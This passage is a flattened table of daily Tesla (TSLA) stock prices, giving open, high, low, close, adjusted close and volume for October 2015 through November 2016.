-2015-10-15,216.42999267578125,221.72999572753906,213.6999969482422,221.30999755859375,221.30999755859375,2844200,TSLA -2015-10-16,223.0399932861328,230.47999572753906,222.8699951171875,227.00999450683594,227.00999450683594,4334500,TSLA -2015-10-19,226.5,231.14999389648438,224.94000244140625,228.10000610351562,228.10000610351562,2507900,TSLA -2015-10-20,227.72000122070312,228.60000610351562,202.0,213.02999877929688,213.02999877929688,14900000,TSLA -2015-10-21,211.99000549316406,214.80999755859375,208.8000030517578,210.08999633789062,210.08999633789062,4151500,TSLA -2015-10-22,211.55999755859375,215.75,209.39999389648438,211.72000122070312,211.72000122070312,2825200,TSLA -2015-10-23,215.0,215.35000610351562,207.69000244140625,209.08999633789062,209.08999633789062,4235500,TSLA -2015-10-26,211.3800048828125,215.8800048828125,210.0,215.25999450683594,215.25999450683594,3391400,TSLA -2015-10-27,214.83999633789062,217.10000610351562,207.50999450683594,210.35000610351562,210.35000610351562,3519400,TSLA -2015-10-28,211.30999755859375,213.4499969482422,208.3000030517578,212.9600067138672,212.9600067138672,2728600,TSLA -2015-10-29,211.75,213.75,210.63999938964844,211.6300048828125,211.6300048828125,1805000,TSLA -2015-10-30,210.39999389648438,211.6300048828125,203.88999938964844,206.92999267578125,206.92999267578125,4438900,TSLA -2015-11-02,208.9199981689453,215.8000030517578,207.22000122070312,213.7899932861328,213.7899932861328,3927900,TSLA -2015-11-03,213.85000610351562,214.44000244140625,207.75,208.35000610351562,208.35000610351562,8332500,TSLA -2015-11-04,227.0,232.74000549316406,225.1999969482422,231.6300048828125,231.6300048828125,12726400,TSLA -2015-11-05,230.5800018310547,234.5800018310547,229.19000244140625,231.77000427246094,231.77000427246094,4496800,TSLA -2015-11-06,230.6999969482422,233.36000061035156,229.5,232.36000061035156,232.36000061035156,2445300,TSLA -2015-11-09,232.99000549316406,232.99000549316406,224.30999755859375,225.3300018310547,225.3300018310547,3850900,TSLA -2015-11-10,223.47999572753906,223.6999969482422,216.0800018310547,216.5,216.5,4617000,TSLA -2015-11-11,217.77000427246094,219.47999572753906,213.6300048828125,219.0800018310547,219.0800018310547,3347800,TSLA -2015-11-12,217.85000610351562,219.0,212.66000366210938,212.94000244140625,212.94000244140625,2915900,TSLA -2015-11-13,212.9499969482422,212.99000549316406,206.52000427246094,207.19000244140625,207.19000244140625,3430300,TSLA -2015-11-16,206.08999633789062,214.97999572753906,205.8000030517578,214.30999755859375,214.30999755859375,2925400,TSLA -2015-11-17,215.1999969482422,216.0,211.39999389648438,214.0,214.0,2148700,TSLA -2015-11-18,214.5,221.3800048828125,212.52000427246094,221.07000732421875,221.07000732421875,2811900,TSLA -2015-11-19,220.5399932861328,226.19000244140625,220.3000030517578,221.8000030517578,221.8000030517578,2504400,TSLA -2015-11-20,223.49000549316406,225.0,213.5800018310547,220.00999450683594,220.00999450683594,4400700,TSLA -2015-11-23,217.35000610351562,219.17999267578125,214.67999267578125,217.75,217.75,2526200,TSLA -2015-11-24,215.3699951171875,221.0,215.0,218.25,218.25,2480300,TSLA -2015-11-25,221.33999633789062,230.8300018310547,220.3800048828125,229.63999938964844,229.63999938964844,3990800,TSLA -2015-11-27,231.05999755859375,232.25,227.00999450683594,231.61000061035156,231.61000061035156,1949400,TSLA -2015-11-30,231.7899932861328,234.27999877929688,229.0800018310547,230.25999450683594,230.25999450683594,2659800,TSLA -2015-12-01,231.05999755859375,238.0,231.0500030517578,237.19000244140625,237.19000244140625,3734000,TSLA -2015-12-02,237.0,238.60000610351562,231.22999572753906,231.99000549316406,231.99000549316406,2981500,TSLA -2015-12-03,235.47999572753906,237.4499969482422,230.0,232.7100067138672,232.7100067138672,2939600,TSLA -2015-12-04,232.4600067138672,233.27000427246094,227.66000366210938,230.3800048828125,230.3800048828125,2573600,TSLA -2015-12-07,227.6999969482422,235.6300048828125,226.14999389648438,231.1300048828125,231.1300048828125,3144200,TSLA -2015-12-08,227.52000427246094,228.8000030517578,224.1999969482422,226.72000122070312,226.72000122070312,2687600,TSLA -2015-12-09,226.6999969482422,227.5,220.72000122070312,224.52000427246094,224.52000427246094,3057800,TSLA -2015-12-10,224.7100067138672,228.49000549316406,223.63999938964844,227.07000732421875,227.07000732421875,2071700,TSLA -2015-12-11,225.24000549316406,225.75,216.63999938964844,217.02000427246094,217.02000427246094,3268700,TSLA -2015-12-14,217.50999450683594,220.9199981689453,214.8699951171875,218.5800018310547,218.5800018310547,2827100,TSLA -2015-12-15,221.82000732421875,222.22000122070312,218.0,221.08999633789062,221.08999633789062,2244400,TSLA -2015-12-16,222.10000610351562,234.8800048828125,220.72999572753906,234.50999450683594,234.50999450683594,5104300,TSLA -2015-12-17,233.94000244140625,237.75999450683594,229.80999755859375,233.38999938964844,233.38999938964844,3298600,TSLA -2015-12-18,232.88999938964844,235.89999389648438,229.2899932861328,230.4600067138672,230.4600067138672,3014200,TSLA -2015-12-21,231.69000244140625,235.8300018310547,231.0800018310547,232.55999755859375,232.55999755859375,1953200,TSLA -2015-12-22,234.99000549316406,236.5500030517578,229.6300048828125,229.9499969482422,229.9499969482422,1961500,TSLA -2015-12-23,232.17999267578125,233.4499969482422,228.1300048828125,229.6999969482422,229.6999969482422,1555000,TSLA -2015-12-24,230.55999755859375,231.8800048828125,228.27999877929688,230.57000732421875,230.57000732421875,708000,TSLA -2015-12-28,231.49000549316406,231.97999572753906,225.5399932861328,228.9499969482422,228.9499969482422,1901300,TSLA -2015-12-29,230.05999755859375,237.72000122070312,229.5500030517578,237.19000244140625,237.19000244140625,2406300,TSLA -2015-12-30,236.60000610351562,243.6300048828125,235.6699981689453,238.08999633789062,238.08999633789062,3697900,TSLA -2015-12-31,238.50999450683594,243.4499969482422,238.3699951171875,240.00999450683594,240.00999450683594,2715000,TSLA -2016-01-04,230.72000122070312,231.3800048828125,219.0,223.41000366210938,223.41000366210938,6827100,TSLA -2016-01-05,226.36000061035156,226.88999938964844,220.0,223.42999267578125,223.42999267578125,3186800,TSLA -2016-01-06,220.0,220.0500030517578,215.97999572753906,219.0399932861328,219.0399932861328,3779100,TSLA -2016-01-07,214.19000244140625,218.44000244140625,213.6699981689453,215.64999389648438,215.64999389648438,3554300,TSLA -2016-01-08,217.86000061035156,220.44000244140625,210.77000427246094,211.0,211.0,3628100,TSLA -2016-01-11,214.00999450683594,214.4499969482422,203.0,207.85000610351562,207.85000610351562,4091400,TSLA -2016-01-12,211.60000610351562,213.74000549316406,205.30999755859375,209.97000122070312,209.97000122070312,3091900,TSLA -2016-01-13,212.00999450683594,212.64999389648438,200.0,200.30999755859375,200.30999755859375,4126400,TSLA -2016-01-14,202.2100067138672,210.0,193.3800048828125,206.17999267578125,206.17999267578125,6490700,TSLA -2016-01-15,198.97000122070312,205.07000732421875,197.25,204.99000549316406,204.99000549316406,5578600,TSLA -2016-01-19,208.7100067138672,210.47000122070312,200.77999877929688,204.72000122070312,204.72000122070312,4038700,TSLA -2016-01-20,199.39999389648438,201.27999877929688,191.25,198.6999969482422,198.6999969482422,5838600,TSLA -2016-01-21,201.5500030517578,203.22999572753906,195.02000427246094,199.97000122070312,199.97000122070312,3166200,TSLA -2016-01-22,204.8000030517578,205.5,199.02999877929688,202.5500030517578,202.5500030517578,3124100,TSLA -2016-01-25,200.05999755859375,203.57000732421875,195.8800048828125,196.3800048828125,196.3800048828125,2698700,TSLA -2016-01-26,196.6999969482422,197.82000732421875,188.8800048828125,193.55999755859375,193.55999755859375,4964200,TSLA -2016-01-27,192.3800048828125,193.25999450683594,185.77000427246094,188.07000732421875,188.07000732421875,3617200,TSLA -2016-01-28,190.7899932861328,191.27999877929688,182.41000366210938,189.6999969482422,189.6999969482422,4592800,TSLA -2016-01-29,189.9499969482422,193.74000549316406,188.0800018310547,191.1999969482422,191.1999969482422,2852300,TSLA -2016-02-01,188.75999450683594,199.52000427246094,182.75,196.94000244140625,196.94000244140625,5297600,TSLA -2016-02-02,192.4199981689453,193.1199951171875,180.22999572753906,182.77999877929688,182.77999877929688,5773600,TSLA -2016-02-03,183.58999633789062,183.94000244140625,170.17999267578125,173.47999572753906,173.47999572753906,7931400,TSLA -2016-02-04,170.6999969482422,175.97999572753906,166.99000549316406,175.3300018310547,175.3300018310547,4385400,TSLA -2016-02-05,171.3000030517578,173.0,157.74000549316406,162.60000610351562,162.60000610351562,9437600,TSLA -2016-02-08,157.10000610351562,157.14999389648438,146.0,147.99000549316406,147.99000549316406,9313000,TSLA -2016-02-09,142.32000732421875,159.7899932861328,141.0500030517578,148.25,148.25,8651600,TSLA -2016-02-10,150.5,154.97000122070312,141.74000549316406,143.6699981689453,143.6699981689453,10406500,TSLA -2016-02-11,152.0,163.25999450683594,147.0,150.47000122070312,150.47000122070312,14252400,TSLA -2016-02-12,155.0,157.00999450683594,143.6999969482422,151.0399932861328,151.0399932861328,7235800,TSLA -2016-02-16,158.6999969482422,162.9499969482422,154.11000061035156,155.1699981689453,155.1699981689453,5593800,TSLA -2016-02-17,159.0,169.33999633789062,156.67999267578125,168.67999267578125,168.67999267578125,5825200,TSLA -2016-02-18,172.4199981689453,172.9499969482422,164.77000427246094,166.77000427246094,166.77000427246094,3887600,TSLA -2016-02-19,163.66000366210938,167.49000549316406,162.5,166.5800018310547,166.5800018310547,2959400,TSLA -2016-02-22,170.1199951171875,178.91000366210938,169.85000610351562,177.74000549316406,177.74000549316406,5060100,TSLA -2016-02-23,176.16000366210938,181.72999572753906,173.67999267578125,177.2100067138672,177.2100067138672,5984400,TSLA -2016-02-24,172.75,179.5,167.83999633789062,179.0,179.0,5395600,TSLA -2016-02-25,178.64999389648438,188.52000427246094,175.1999969482422,187.42999267578125,187.42999267578125,5750700,TSLA -2016-02-26,188.6999969482422,192.0,185.0,190.33999633789062,190.33999633789062,6065100,TSLA -2016-02-29,192.39999389648438,196.35000610351562,189.22000122070312,191.92999267578125,191.92999267578125,4499000,TSLA -2016-03-01,194.25,195.9499969482422,182.6999969482422,186.35000610351562,186.35000610351562,6712200,TSLA -2016-03-02,183.72999572753906,188.52000427246094,181.5,188.33999633789062,188.33999633789062,4862400,TSLA -2016-03-03,188.27999877929688,197.4199981689453,184.22000122070312,195.74000549316406,195.74000549316406,4829000,TSLA -2016-03-04,198.0,204.02999877929688,197.5,201.0399932861328,201.0399932861328,6489100,TSLA -2016-03-07,197.67999267578125,209.6999969482422,197.39999389648438,205.2899932861328,205.2899932861328,5329400,TSLA -2016-03-08,203.5,207.5,202.1999969482422,202.60000610351562,202.60000610351562,4178700,TSLA -2016-03-09,204.52000427246094,209.3699951171875,202.7899932861328,208.72000122070312,208.72000122070312,3208600,TSLA -2016-03-10,210.0,213.2899932861328,200.6699981689453,205.17999267578125,205.17999267578125,5192500,TSLA -2016-03-11,207.92999267578125,209.4199981689453,205.3300018310547,207.5,207.5,3343100,TSLA -2016-03-14,212.64999389648438,216.72000122070312,210.63999938964844,215.14999389648438,215.14999389648438,4065700,TSLA -2016-03-15,214.27000427246094,218.97000122070312,211.5,218.33999633789062,218.33999633789062,3180500,TSLA -2016-03-16,218.0,222.5800018310547,217.02000427246094,221.92999267578125,221.92999267578125,3516700,TSLA -2016-03-17,221.47000122070312,228.5,220.0,226.3800048828125,226.3800048828125,3782900,TSLA -2016-03-18,229.10000610351562,234.47999572753906,228.05999755859375,232.74000549316406,232.74000549316406,4711800,TSLA -2016-03-21,235.33999633789062,239.8800048828125,235.0,238.32000732421875,238.32000732421875,5307800,TSLA -2016-03-22,237.2100067138672,238.99000549316406,232.55999755859375,234.24000549316406,234.24000549316406,4316000,TSLA -2016-03-23,232.3699951171875,234.72999572753906,222.02999877929688,222.5800018310547,222.5800018310547,4948800,TSLA -2016-03-24,215.77999877929688,228.88999938964844,215.0,227.75,227.75,4960900,TSLA -2016-03-28,231.61000061035156,234.80999755859375,225.0,230.25999450683594,230.25999450683594,3925700,TSLA -2016-03-29,229.88999938964844,232.3800048828125,225.3300018310547,230.1300048828125,230.1300048828125,4014300,TSLA -2016-03-30,235.08999633789062,235.5,226.5,226.88999938964844,226.88999938964844,4033000,TSLA -2016-03-31,229.33999633789062,237.4199981689453,225.00999450683594,229.77000427246094,229.77000427246094,8012900,TSLA -2016-04-01,244.8300018310547,247.89999389648438,233.25,237.58999633789062,237.58999633789062,15997500,TSLA -2016-04-04,249.1199951171875,252.1199951171875,243.63999938964844,246.99000549316406,246.99000549316406,13475300,TSLA -2016-04-05,240.5,256.55999755859375,240.0,255.47000122070312,255.47000122070312,9948700,TSLA -2016-04-06,253.97000122070312,267.739990234375,253.4499969482422,265.4200134277344,265.4200134277344,11705500,TSLA -2016-04-07,266.45001220703125,269.3399963378906,254.50999450683594,257.20001220703125,257.20001220703125,8856200,TSLA -2016-04-08,260.5,260.82000732421875,248.02000427246094,250.07000732421875,250.07000732421875,7363900,TSLA -2016-04-11,251.0,258.989990234375,245.3000030517578,249.9199981689453,249.9199981689453,9161700,TSLA -2016-04-12,249.5,251.8000030517578,243.6300048828125,247.82000732421875,247.82000732421875,5763200,TSLA -2016-04-13,248.50999450683594,255.5,247.3300018310547,254.52999877929688,254.52999877929688,4925600,TSLA -2016-04-14,253.0,256.8399963378906,251.0500030517578,251.86000061035156,251.86000061035156,4132200,TSLA -2016-04-15,251.30999755859375,254.60000610351562,249.1199951171875,254.50999450683594,254.50999450683594,3752400,TSLA -2016-04-18,252.22999572753906,258.30999755859375,251.66000366210938,253.8800048828125,253.8800048828125,4271400,TSLA -2016-04-19,253.1199951171875,254.3699951171875,241.25,247.3699951171875,247.3699951171875,6357500,TSLA -2016-04-20,246.25999450683594,253.66000366210938,241.5,249.97000122070312,249.97000122070312,5194100,TSLA -2016-04-21,248.99000549316406,250.89999389648438,246.91000366210938,248.2899932861328,248.2899932861328,2783100,TSLA -2016-04-22,248.88999938964844,254.0,245.7100067138672,253.75,253.75,3786300,TSLA -2016-04-25,253.00999450683594,257.3800048828125,250.75999450683594,251.82000732421875,251.82000732421875,3670300,TSLA -2016-04-26,252.0500030517578,255.72999572753906,249.38999938964844,253.74000549316406,253.74000549316406,3223800,TSLA -2016-04-27,252.75,255.0,249.39999389648438,251.47000122070312,251.47000122070312,3205800,TSLA -2016-04-28,249.85000610351562,253.42999267578125,247.44000244140625,247.7100067138672,247.7100067138672,2519000,TSLA -2016-04-29,248.13999938964844,248.42999267578125,237.80999755859375,240.75999450683594,240.75999450683594,5413800,TSLA -2016-05-02,241.5,243.19000244140625,234.82000732421875,241.8000030517578,241.8000030517578,3843900,TSLA -2016-05-03,237.36000061035156,238.91000366210938,231.6199951171875,232.32000732421875,232.32000732421875,4302200,TSLA -2016-05-04,230.2899932861328,234.4600067138672,220.39999389648438,222.55999755859375,222.55999755859375,8700500,TSLA -2016-05-05,228.4600067138672,228.63999938964844,209.7899932861328,211.52999877929688,211.52999877929688,11254800,TSLA -2016-05-06,210.8699951171875,216.3699951171875,208.11000061035156,214.92999267578125,214.92999267578125,5685200,TSLA -2016-05-09,215.72000122070312,216.14999389648438,206.8000030517578,208.9199981689453,208.9199981689453,4776400,TSLA -2016-05-10,207.5500030517578,209.47000122070312,205.0,208.69000244140625,208.69000244140625,4070600,TSLA -2016-05-11,207.58999633789062,215.47999572753906,206.0500030517578,208.9600067138672,208.9600067138672,5161900,TSLA -2016-05-12,211.44000244140625,211.6699981689453,203.66000366210938,207.27999877929688,207.27999877929688,3650500,TSLA -2016-05-13,207.77999877929688,211.1999969482422,206.6999969482422,207.61000061035156,207.61000061035156,2822800,TSLA -2016-05-16,208.14999389648438,213.14999389648438,207.9199981689453,208.2899932861328,208.2899932861328,2949400,TSLA -2016-05-17,209.0500030517578,209.82000732421875,204.02000427246094,204.66000366210938,204.66000366210938,2843600,TSLA -2016-05-18,209.14999389648438,215.30999755859375,207.75,211.1699981689453,211.1699981689453,5617500,TSLA -2016-05-19,213.6199951171875,216.7899932861328,207.3000030517578,215.2100067138672,215.2100067138672,6866300,TSLA -2016-05-20,216.99000549316406,220.5500030517578,216.35000610351562,220.27999877929688,220.27999877929688,9007100,TSLA -2016-05-23,219.8699951171875,222.60000610351562,215.86000061035156,216.22000122070312,216.22000122070312,5102500,TSLA -2016-05-24,216.60000610351562,218.74000549316406,215.17999267578125,217.91000366210938,217.91000366210938,3013800,TSLA -2016-05-25,217.91000366210938,221.36000061035156,216.50999450683594,219.5800018310547,219.5800018310547,3126800,TSLA -2016-05-26,220.5,225.25999450683594,219.0500030517578,225.1199951171875,225.1199951171875,4072400,TSLA -2016-05-27,224.99000549316406,225.92999267578125,220.75,223.0399932861328,223.0399932861328,3650300,TSLA -2016-05-31,223.0399932861328,224.75,221.5,223.22999572753906,223.22999572753906,2789000,TSLA -2016-06-01,221.47999572753906,222.39999389648438,216.88999938964844,219.55999755859375,219.55999755859375,2982700,TSLA -2016-06-02,219.58999633789062,219.91000366210938,217.11000061035156,218.9600067138672,218.9600067138672,2032800,TSLA -2016-06-03,220.0,221.94000244140625,218.00999450683594,218.99000549316406,218.99000549316406,2229000,TSLA -2016-06-06,218.0,220.89999389648438,215.4499969482422,220.67999267578125,220.67999267578125,2249500,TSLA -2016-06-07,222.24000549316406,234.44000244140625,221.52000427246094,232.33999633789062,232.33999633789062,6213600,TSLA -2016-06-08,233.8000030517578,240.85000610351562,232.61000061035156,235.52000427246094,235.52000427246094,5972000,TSLA -2016-06-09,234.97999572753906,235.3300018310547,227.05999755859375,229.36000061035156,229.36000061035156,4492100,TSLA -2016-06-10,227.38999938964844,227.97000122070312,218.4199981689453,218.7899932861328,218.7899932861328,6026600,TSLA -2016-06-13,219.5,225.77000427246094,217.66000366210938,217.8699951171875,217.8699951171875,4193000,TSLA -2016-06-14,218.8800048828125,222.1999969482422,212.52999877929688,214.9600067138672,214.9600067138672,3580200,TSLA -2016-06-15,216.9499969482422,221.89999389648438,215.1300048828125,217.6999969482422,217.6999969482422,2908500,TSLA -2016-06-16,217.4199981689453,218.0399932861328,213.5,217.92999267578125,217.92999267578125,2440300,TSLA -2016-06-17,217.80999755859375,219.99000549316406,214.5,215.47000122070312,215.47000122070312,3112600,TSLA -2016-06-20,219.5,223.75,218.22999572753906,219.6999969482422,219.6999969482422,3555500,TSLA -2016-06-21,220.67999267578125,222.57000732421875,218.80999755859375,219.61000061035156,219.61000061035156,4529000,TSLA -2016-06-22,199.47000122070312,205.9499969482422,195.75,196.66000366210938,196.66000366210938,23742400,TSLA -2016-06-23,195.69000244140625,197.5500030517578,192.1300048828125,196.39999389648438,196.39999389648438,10130700,TSLA -2016-06-24,190.0500030517578,195.1199951171875,189.72999572753906,193.14999389648438,193.14999389648438,7026500,TSLA -2016-06-27,190.86000061035156,198.80999755859375,187.8699951171875,198.5500030517578,198.5500030517578,7205400,TSLA -2016-06-28,201.88999938964844,204.0500030517578,199.41000366210938,201.7899932861328,201.7899932861328,6212400,TSLA -2016-06-29,205.1300048828125,211.77999877929688,203.0,210.19000244140625,210.19000244140625,5994900,TSLA -2016-06-30,212.97000122070312,213.5,209.02000427246094,212.27999877929688,212.27999877929688,4843100,TSLA -2016-07-01,206.13999938964844,218.24000549316406,206.0,216.5,216.5,5400000,TSLA -2016-07-05,209.72999572753906,214.5399932861328,208.0,213.97999572753906,213.97999572753906,5175300,TSLA -2016-07-06,210.0,215.22999572753906,209.0,214.44000244140625,214.44000244140625,4919900,TSLA -2016-07-07,213.10000610351562,218.1199951171875,213.00999450683594,215.94000244140625,215.94000244140625,3612000,TSLA -2016-07-08,217.8000030517578,219.80999755859375,214.5,216.77999877929688,216.77999877929688,4074800,TSLA -2016-07-11,219.9600067138672,226.77999877929688,219.50999450683594,224.77999877929688,224.77999877929688,5429800,TSLA -2016-07-12,224.10000610351562,227.5,223.22000122070312,224.64999389648438,224.64999389648438,4571300,TSLA -2016-07-13,225.5,225.58999633789062,220.2899932861328,222.52999877929688,222.52999877929688,3567100,TSLA -2016-07-14,223.1199951171875,224.94000244140625,221.0500030517578,221.52999877929688,221.52999877929688,2675800,TSLA -2016-07-15,222.52000427246094,222.75,219.63999938964844,220.39999389648438,220.39999389648438,2234200,TSLA -2016-07-18,219.63999938964844,227.08999633789062,218.3000030517578,226.25,226.25,3412100,TSLA -2016-07-19,225.0,229.10000610351562,224.75,225.25999450683594,225.25999450683594,3115100,TSLA -2016-07-20,226.47000122070312,229.8000030517578,225.0,228.36000061035156,228.36000061035156,2568500,TSLA -2016-07-21,226.0,227.85000610351562,219.10000610351562,220.5,220.5,4428700,TSLA -2016-07-22,221.99000549316406,224.5,218.8800048828125,222.27000427246094,222.27000427246094,2579700,TSLA -2016-07-25,222.27000427246094,231.38999938964844,221.3699951171875,230.00999450683594,230.00999450683594,4490700,TSLA -2016-07-26,227.69000244140625,230.0,225.3000030517578,229.50999450683594,229.50999450683594,3430000,TSLA -2016-07-27,229.33999633789062,233.36000061035156,226.9199981689453,228.49000549316406,228.49000549316406,2889000,TSLA -2016-07-28,227.9499969482422,230.75999450683594,226.60000610351562,230.61000061035156,230.61000061035156,2419100,TSLA -2016-07-29,230.6999969482422,235.27999877929688,230.24000549316406,234.7899932861328,234.7899932861328,3070800,TSLA -2016-08-01,235.5,236.6300048828125,229.3800048828125,230.00999450683594,230.00999450683594,4016300,TSLA -2016-08-02,229.3699951171875,229.8699951171875,221.39999389648438,227.1999969482422,227.1999969482422,3934400,TSLA -2016-08-03,227.3699951171875,229.6999969482422,224.2100067138672,225.7899932861328,225.7899932861328,3887800,TSLA -2016-08-04,225.69000244140625,230.86000061035156,222.0500030517578,230.61000061035156,230.61000061035156,4147000,TSLA -2016-08-05,230.0,232.0,227.39999389648438,230.02999877929688,230.02999877929688,3205200,TSLA -2016-08-08,228.0,229.60000610351562,226.08999633789062,226.16000366210938,226.16000366210938,2263600,TSLA -2016-08-09,226.82000732421875,231.5399932861328,226.64999389648438,229.0800018310547,229.0800018310547,2207800,TSLA -2016-08-10,228.24000549316406,229.8699951171875,224.6199951171875,225.64999389648438,225.64999389648438,2338300,TSLA -2016-08-11,226.1699981689453,227.57000732421875,223.41000366210938,224.91000366210938,224.91000366210938,1880900,TSLA -2016-08-12,225.41000366210938,226.64999389648438,224.0399932861328,225.61000061035156,225.61000061035156,1813500,TSLA -2016-08-15,226.02000427246094,229.5,224.92999267578125,225.58999633789062,225.58999633789062,2034300,TSLA -2016-08-16,225.49000549316406,227.19000244140625,223.41000366210938,223.61000061035156,223.61000061035156,2267100,TSLA -2016-08-17,224.3300018310547,224.8300018310547,222.8000030517578,223.24000549316406,223.24000549316406,1787100,TSLA -2016-08-18,223.82000732421875,225.66000366210938,222.2899932861328,223.50999450683594,223.50999450683594,1714500,TSLA -2016-08-19,223.5399932861328,225.1699981689453,222.52999877929688,225.0,225.0,1659500,TSLA -2016-08-22,224.1699981689453,225.11000061035156,222.67999267578125,222.92999267578125,222.92999267578125,2065500,TSLA -2016-08-23,224.32000732421875,228.49000549316406,222.8000030517578,224.83999633789062,224.83999633789062,4784400,TSLA -2016-08-24,227.0500030517578,227.14999389648438,222.22000122070312,222.6199951171875,222.6199951171875,2570700,TSLA -2016-08-25,223.11000061035156,223.8000030517578,220.77000427246094,220.9600067138672,220.9600067138672,1762500,TSLA -2016-08-26,222.13999938964844,222.86000061035156,218.82000732421875,219.99000549316406,219.99000549316406,2239000,TSLA -2016-08-29,220.14999389648438,220.39999389648438,215.0,215.1999969482422,215.1999969482422,3266300,TSLA -2016-08-30,216.11000061035156,216.11000061035156,210.52000427246094,211.33999633789062,211.33999633789062,3168900,TSLA -2016-08-31,210.42999267578125,212.60000610351562,208.64999389648438,212.00999450683594,212.00999450683594,3276500,TSLA -2016-09-01,209.00999450683594,211.10000610351562,200.5,200.77000427246094,200.77000427246094,7943100,TSLA -2016-09-02,202.3300018310547,203.1999969482422,196.1999969482422,197.77999877929688,197.77999877929688,5977400,TSLA -2016-09-06,199.02000427246094,203.25,199.0,202.8300018310547,202.8300018310547,4390600,TSLA -2016-09-07,205.5,206.5,200.7100067138672,201.7100067138672,201.7100067138672,3640900,TSLA -2016-09-08,199.5500030517578,199.88999938964844,196.36000061035156,197.36000061035156,197.36000061035156,3377900,TSLA -2016-09-09,199.08999633789062,199.9199981689453,193.6999969482422,194.47000122070312,194.47000122070312,3757000,TSLA -2016-09-12,195.0,201.3699951171875,194.10000610351562,198.3000030517578,198.3000030517578,3715200,TSLA -2016-09-13,197.05999755859375,198.49000549316406,193.4499969482422,196.0500030517578,196.0500030517578,3589400,TSLA -2016-09-14,195.75,197.9199981689453,194.86000061035156,196.41000366210938,196.41000366210938,2254500,TSLA -2016-09-15,196.49000549316406,202.52000427246094,196.39999389648438,200.4199981689453,200.4199981689453,3077200,TSLA -2016-09-16,200.4199981689453,205.6999969482422,199.0,205.39999389648438,205.39999389648438,3107800,TSLA -2016-09-19,207.0,209.42999267578125,205.0,206.33999633789062,206.33999633789062,2299500,TSLA -2016-09-20,206.85000610351562,207.75,203.91000366210938,204.63999938964844,204.63999938964844,2410500,TSLA -2016-09-21,206.3699951171875,207.0,201.55999755859375,205.22000122070312,205.22000122070312,2633500,TSLA -2016-09-22,206.39999389648438,207.27999877929688,203.0,206.42999267578125,206.42999267578125,2382900,TSLA -2016-09-23,205.99000549316406,210.17999267578125,205.6699981689453,207.4499969482422,207.4499969482422,2905200,TSLA -2016-09-26,206.5,211.0,206.5,208.99000549316406,208.99000549316406,2394400,TSLA -2016-09-27,209.64999389648438,209.97999572753906,204.61000061035156,205.80999755859375,205.80999755859375,3373200,TSLA -2016-09-28,207.50999450683594,208.25,205.25999450683594,206.27000427246094,206.27000427246094,2088400,TSLA -2016-09-29,205.60000610351562,207.3300018310547,200.5800018310547,200.6999969482422,200.6999969482422,2727000,TSLA -2016-09-30,202.2100067138672,204.97999572753906,199.5500030517578,204.02999877929688,204.02999877929688,2586300,TSLA -2016-10-03,212.3000030517578,215.6699981689453,208.25,213.6999969482422,213.6999969482422,5999900,TSLA -2016-10-04,213.10000610351562,213.32000732421875,208.82000732421875,211.41000366210938,211.41000366210938,3541500,TSLA -2016-10-05,212.24000549316406,213.14999389648438,208.1199951171875,208.4600067138672,208.4600067138672,1877500,TSLA -2016-10-06,202.4600067138672,204.2100067138672,200.2100067138672,201.0,201.0,4703400,TSLA -2016-10-07,201.0,201.32000732421875,195.8000030517578,196.61000061035156,196.61000061035156,3493000,TSLA -2016-10-10,201.35000610351562,204.13999938964844,199.66000366210938,200.9499969482422,200.9499969482422,3316300,TSLA -2016-10-11,201.85000610351562,202.1999969482422,198.30999755859375,200.10000610351562,200.10000610351562,2328400,TSLA -2016-10-12,200.9499969482422,203.8800048828125,200.4199981689453,201.50999450683594,201.50999450683594,1970700,TSLA -2016-10-13,200.5,200.89999389648438,197.0500030517578,200.24000549316406,200.24000549316406,2494600,TSLA -2016-10-14,200.66000366210938,201.42999267578125,196.3000030517578,196.50999450683594,196.50999450683594,4269900,TSLA -2016-10-17,197.0500030517578,198.38999938964844,192.0,193.9600067138672,193.9600067138672,4554100,TSLA -2016-10-18,195.99000549316406,199.47000122070312,193.25999450683594,199.10000610351562,199.10000610351562,5680500,TSLA -2016-10-19,199.74000549316406,206.66000366210938,198.05999755859375,203.55999755859375,203.55999755859375,6991200,TSLA -2016-10-20,202.1199951171875,203.0,197.0500030517578,199.10000610351562,199.10000610351562,5072900,TSLA -2016-10-21,198.60000610351562,201.57000732421875,197.41000366210938,200.08999633789062,200.08999633789062,2943400,TSLA -2016-10-24,201.0,203.9499969482422,200.25,202.75999450683594,202.75999450683594,2751600,TSLA -2016-10-25,202.89999389648438,204.69000244140625,201.1999969482422,202.33999633789062,202.33999633789062,2445000,TSLA -2016-10-26,201.0,203.19000244140625,200.10000610351562,202.24000549316406,202.24000549316406,5632800,TSLA -2016-10-27,211.33999633789062,213.6999969482422,201.64999389648438,204.00999450683594,204.00999450683594,13093700,TSLA -2016-10-28,204.0,205.32000732421875,199.8300018310547,199.97000122070312,199.97000122070312,4280100,TSLA -2016-10-31,202.49000549316406,202.49000549316406,195.80999755859375,197.72999572753906,197.72999572753906,4692300,TSLA -2016-11-01,198.0399932861328,198.5,188.11000061035156,190.7899932861328,190.7899932861328,7060000,TSLA -2016-11-02,190.0500030517578,192.6999969482422,187.50999450683594,188.02000427246094,188.02000427246094,4253400,TSLA -2016-11-03,189.0,191.47000122070312,187.0399932861328,187.4199981689453,187.4199981689453,2653000,TSLA -2016-11-04,189.0,193.4600067138672,185.9600067138672,190.55999755859375,190.55999755859375,5146000,TSLA -2016-11-07,193.58999633789062,194.2899932861328,190.0500030517578,193.2100067138672,193.2100067138672,3870100,TSLA -2016-11-08,193.7899932861328,197.49000549316406,191.25999450683594,194.94000244140625,194.94000244140625,3267600,TSLA -2016-11-09,186.8800048828125,192.0,183.9499969482422,190.05999755859375,190.05999755859375,8173100,TSLA -2016-11-10,191.0500030517578,191.61000061035156,180.4199981689453,185.35000610351562,185.35000610351562,6750300,TSLA -2016-11-11,184.24000549316406,188.8800048828125,183.0,188.55999755859375,188.55999755859375,3988500,TSLA -2016-11-14,188.0,188.25,178.19000244140625,181.4499969482422,181.4499969482422,6552200,TSLA -2016-11-15,182.77999877929688,186.42999267578125,182.0500030517578,183.77000427246094,183.77000427246094,3902000,TSLA -2016-11-16,182.64999389648438,184.72999572753906,181.2100067138672,183.92999267578125,183.92999267578125,3434400,TSLA -2016-11-17,183.49000549316406,189.49000549316406,182.11000061035156,188.66000366210938,188.66000366210938,4887100,TSLA -2016-11-18,190.64999389648438,193.0,185.0,185.02000427246094,185.02000427246094,5210300,TSLA -2016-11-21,185.0399932861328,188.88999938964844,184.41000366210938,184.52000427246094,184.52000427246094,4361000,TSLA -2016-11-22,185.83999633789062,191.47000122070312,183.7100067138672,191.1699981689453,191.1699981689453,5603400,TSLA 